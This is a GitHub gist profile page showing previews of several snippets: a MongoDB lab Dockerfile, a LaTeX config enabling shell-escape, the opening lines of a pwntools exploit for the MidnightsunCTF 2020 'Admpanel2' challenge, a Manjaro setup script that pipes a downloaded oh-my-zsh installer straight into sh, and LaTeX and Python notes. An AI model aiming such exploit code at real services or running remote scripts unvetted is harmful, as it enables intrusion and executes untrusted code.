Skip to content

Instantly share code, notes, and snippets.

View zommiommy's full-sized avatar
💤
Too tired to live

Tommaso Fontana zommiommy

💤
Too tired to live
View GitHub Profile
@zommiommy
zommiommy / Dockerfile
Last active May 14, 2020 13:31
Mongodb laboratory service
from mongo:latest
ENV DEBIAN_FRONTEND=noninteractive
# 32 bit
RUN dpkg --add-architecture i386
RUN apt-get update -qyy && apt-get install -qyy apt-utils build-essential software-properties-common
###########################################################
# Basic devel tools
###########################################################
@zommiommy
zommiommy / .latexmkrc
Last active April 15, 2020 13:39
Overleaf Default .latexmkrc
###############################
# Add shell-escape
###############################
$latex = 'latex %O --shell-escape %S';
$pdflatex = 'pdflatex %O --shell-escape %S';
###############################
# Post processing of pdf file #
###############################
@zommiommy
zommiommy / x.py
Created April 4, 2020 19:08
MidnightsunCTF 2020 Admpanel2
from pwn import *
s = remote("admpanel2-01.play.midnightsunctf.se", 31337)
system = 0x000000000401598
username_addr = 0x000000000040159B
s.sendline("1")
s.sendline("admin")
s.sendline("password")
@zommiommy
zommiommy / setup.sh
Created June 14, 2019 13:54
Manjaro Setup Script
#!/bin/bash
sudo pacman -Syu base-devel git gdb vim nano terminator net-tools netcat zsh linux419-headers gparted neofetch htop nmap jdk-openjdk pycharm-community-edition
yay -S google-chrome code gitkraken spotify telegram-desktop
yay -S nvidia nvidia-utils lib32-nvidia-utils nvidia-settings
# Setup Zsh
sh -c "$(wget -O- https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
@zommiommy
zommiommy / latex_to_markdwon.md
Last active January 6, 2019 12:17
Latex $<Text>$ to markdown which don't support mathjax

Latex dollars to markdown which don't support mathjax

Since GitHub READEME doesn't seems to sopport math mode like $\int_0^1 cos(\theta) d\theta = 1$

We can workaround this using codecogs which is an online latex equation editor which provvides it's outpus as gifs.

The base gif url is https://latex.codecogs.com/gif.latex? which is followed by the percentage encoded query.

So i made this function to convert an equation to a Markdown image:

@zommiommy
zommiommy / Firing_up_LaTex_on_Windows.md
Last active April 5, 2021 16:42
Firing up LaTex on Windows 🔥

Firing up LaTex on Windows 🔥

Tex

There are 2 main Tex Distribution for windows The main difference is that TexLive has tlmgr that allows you to make a granular installation downloading only the package that you'll need. While MikTex has tons of packagee per installed but it works too.

TexLive

TexLive for windows Click here to download it (Warning: The full installation of TexLive is big and it will take a while)

@zommiommy
zommiommy / GetFileInFolder.md
Last active January 6, 2019 10:35
GetFileInFolder

A little recursive function that return the list of absolute path of all the file in a folder.

from os import listdir
from os.path import isfile

def get_file_in_folder(path="."):
    if isfile(path):
 return path